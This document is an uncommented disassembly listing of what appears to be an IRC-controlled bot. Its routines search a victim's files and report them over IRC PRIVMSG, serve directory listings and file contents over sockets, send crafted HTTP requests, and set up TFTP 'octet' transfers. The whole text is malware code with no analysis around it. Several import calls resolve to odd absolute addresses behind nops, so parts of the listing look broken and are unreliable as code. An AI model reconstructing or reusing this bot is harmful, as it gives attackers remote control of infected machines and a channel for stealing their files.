var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417330
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_406106
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_40610F
; ---------------------------------------------------------------------------


loc_406106:				; CODE XREF: sub_4060D0+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40610F:				; CODE XREF: sub_4060D0+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_4061AA
		mov	[ebp+arg_8], 2


loc_40613A:				; CODE XREF: sub_4060D0+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417AB0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40617A
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40617A
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_406194
; ---------------------------------------------------------------------------


loc_40617A:				; CODE XREF: sub_4060D0+7Aj
					; sub_4060D0+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40618A
		push	5Ch
		pop	eax
		jmp	short loc_40618D
; ---------------------------------------------------------------------------


loc_40618A:				; CODE XREF: sub_4060D0+B3j
		movsx	eax, al


loc_40618D:				; CODE XREF: sub_4060D0+B8j
		mov	[ebp+ebx+var_210], al


loc_406194:				; CODE XREF: sub_4060D0+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40613A


loc_4061AA:				; CODE XREF: sub_4060D0+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_314]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_418B6E
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 267029Bh
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4061FB
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4061FE
		push	[ebp+arg_0]
		jmp	loc_40627E
; ---------------------------------------------------------------------------


loc_4061FB:				; CODE XREF: sub_4060D0+11Cj
		mov	[ebp+var_4], esi


loc_4061FE:				; CODE XREF: sub_4060D0+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40620B
		mov	[ebp+var_4], esi


loc_40620B:				; CODE XREF: sub_4060D0+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_406289
		cmp	[ebp+arg_C], edi
		jz	short loc_40627D
		lea	eax, [ebp+var_314]
		push	offset asc_42A65C ; "*"
		push	eax
		call	sub_4179D0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406ACA
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4172B0
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4062D8
; ---------------------------------------------------------------------------


loc_40627D:				; CODE XREF: sub_4060D0+152j
		push	ebx


loc_40627E:				; CODE XREF: sub_4060D0+126j
		call	dword_43F700
		jmp	loc_406380
; ---------------------------------------------------------------------------


loc_406289:				; CODE XREF: sub_4060D0+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2630000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4062D8
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172B0
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2670000h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2611A31h


loc_4062D8:				; CODE XREF: sub_4060D0+1ABj
					; sub_4060D0+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_42A61C
		push	eax
		call	sub_4172B0
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_416D5C
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_4450C4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405F4D
		push	edi
		push	edi
		call	near ptr 2660D4Bh
		nop
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4450D4[ecx], eax
		jz	short loc_406352


loc_406340:				; CODE XREF: sub_4060D0+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_406380
		push	5
		nop
		call	near ptr 25F0439h
		jmp	short loc_406340
; ---------------------------------------------------------------------------


loc_406352:				; CODE XREF: sub_4060D0+26Ej
		push	ebx
		call	dword_43F700
		nop
		call	near ptr 2630313h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_42A5D4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h


loc_406380:				; CODE XREF: sub_4060D0+1B4j
					; sub_4060D0+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4060D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406387	proc near		; CODE XREF: sub_405F4D+15Ap
					; sub_40EE72+49CBp

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417330
		mov	edi, [ebp+arg_0]
		push	offset asc_42A660 ; "\n"
		push	edi
		call	sub_418B6E
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4063E6
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_4064E5
; ---------------------------------------------------------------------------


loc_4063E6:				; CODE XREF: sub_406387+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4064CB
		call	sub_417AB0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		push	edi
		call	sub_417AB0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_4064E5
; ---------------------------------------------------------------------------


loc_4064CB:				; CODE XREF: sub_406387+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h


loc_4064E5:				; CODE XREF: sub_406387+5Aj
					; sub_406387+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		cmp	[ebp+arg_C], ebx
		jz	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		sub	eax, 3
		pop	ecx
		jz	short loc_406531


loc_406525:				; CODE XREF: sub_406387+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406531
		dec	eax
		jnz	short loc_406525


loc_406531:				; CODE XREF: sub_406387+19Cj
					; sub_406387+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8


loc_406580:				; CODE XREF: sub_406387+180j
					; sub_406387+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 26A0000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2690000h
		test	eax, eax
		jz	loc_406970
		mov	edi, 1FFh


loc_4065AC:				; CODE XREF: sub_406387+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2680631h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2680000h
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_406621
		mov	ecx, offset aAm	; "AM"


loc_406621:				; CODE XREF: sub_406387+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40662D
		sub	eax, 0Ch


loc_40662D:				; CODE XREF: sub_406387+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4172B0
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4067D0
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4066A1
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_406919
; ---------------------------------------------------------------------------


loc_4066A1:				; CODE XREF: sub_406387+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40678B
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS	; "%s%s/"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_406741
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_406746
; ---------------------------------------------------------------------------


loc_406741:				; CODE XREF: sub_406387+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_406746:				; CODE XREF: sub_406387+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40691A
; ---------------------------------------------------------------------------


loc_40678B:				; CODE XREF: sub_406387+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_406929
; ---------------------------------------------------------------------------


loc_4067D0:				; CODE XREF: sub_406387+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40680F
		push	ebx
		push	[ebp+var_368]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4067FB:				; CODE XREF: sub_406387+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		jmp	loc_406929
; ---------------------------------------------------------------------------


loc_40680F:				; CODE XREF: sub_406387+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_406903
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4068AF
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068B4
; ---------------------------------------------------------------------------


loc_4068AF:				; CODE XREF: sub_406387+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_4068B4:				; CODE XREF: sub_406387+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4067FB
; ---------------------------------------------------------------------------


loc_406903:				; CODE XREF: sub_406387+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_406919:				; CODE XREF: sub_406387+315j
		push	esi


loc_40691A:				; CODE XREF: sub_406387+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 18h


loc_406929:				; CODE XREF: sub_406387+444j
					; sub_406387+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		cmp	[ebp+arg_8], ebx
		jz	short loc_406958
		push	7D0h
		nop
		call	near ptr 25F0439h


loc_406958:				; CODE XREF: sub_406387+22Bj
					; sub_406387+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2690000h
		test	eax, eax
		jnz	loc_4065AC


loc_406970:				; CODE XREF: sub_406387+21Aj
		push	[ebp+arg_0]
		call	near ptr 26703ADh
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_4069B3
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------


loc_4069B3:				; CODE XREF: sub_406387+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4069CD
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------


loc_4069CD:				; CODE XREF: sub_406387+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4172B0
		add	esp, 10h


loc_4069E7:				; CODE XREF: sub_406387+62Aj
					; sub_406387+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406387	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A0D	proc near		; CODE XREF: sub_405F4D+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 2630000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406AC5
		push	esi
		push	ebx
		nop
		call	near ptr 2670000h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406ABE


loc_406A52:				; CODE XREF: sub_406A0D+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A6F
		mov	edi, [ebp+arg_4]


loc_406A6F:				; CODE XREF: sub_406A0D+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26B0000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2611183h
		nop
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406AB9
		call	dword_43F5FC
		cmp	eax, 2733h
		jnz	short loc_406ABE
		xor	eax, eax


loc_406AB9:				; CODE XREF: sub_406A0D+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A52


loc_406ABE:				; CODE XREF: sub_406A0D+43j
					; sub_406A0D+A8j
		push	ebx
		nop
		call	near ptr 2611A31h


loc_406AC5:				; CODE XREF: sub_406A0D+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406ACA	proc near		; CODE XREF: sub_4060D0+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_406AF3


loc_406ADD:				; CODE XREF: sub_406ACA+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406AE7
		mov	byte ptr [esi+edi], 2Fh


loc_406AE7:				; CODE XREF: sub_406ACA+17j
		push	edi
		inc	esi
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406ADD


loc_406AF3:				; CODE XREF: sub_406ACA+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AF8	proc near		; CODE XREF: sub_40EE72+2BE6p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_43F5E0
		push	6
		push	1
		push	2
		call	dword_43F6E8
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_43F668
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BD5
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B71
		mov	eax, offset byte_43C80C


loc_406B71:				; CODE XREF: sub_406AF8+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_43F6B8
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		pop	esi


loc_406BD5:				; CODE XREF: sub_406AF8+6Bj
		push	ebx
		call	dword_43F700
		call	dword_43F5C8
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4172B0
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C15
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_406C15:				; CODE XREF: sub_406AF8+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406AF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C19	proc near		; CODE XREF: sub_406C19:loc_407104p
					; DATA XREF: sub_407252+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_43F6E8
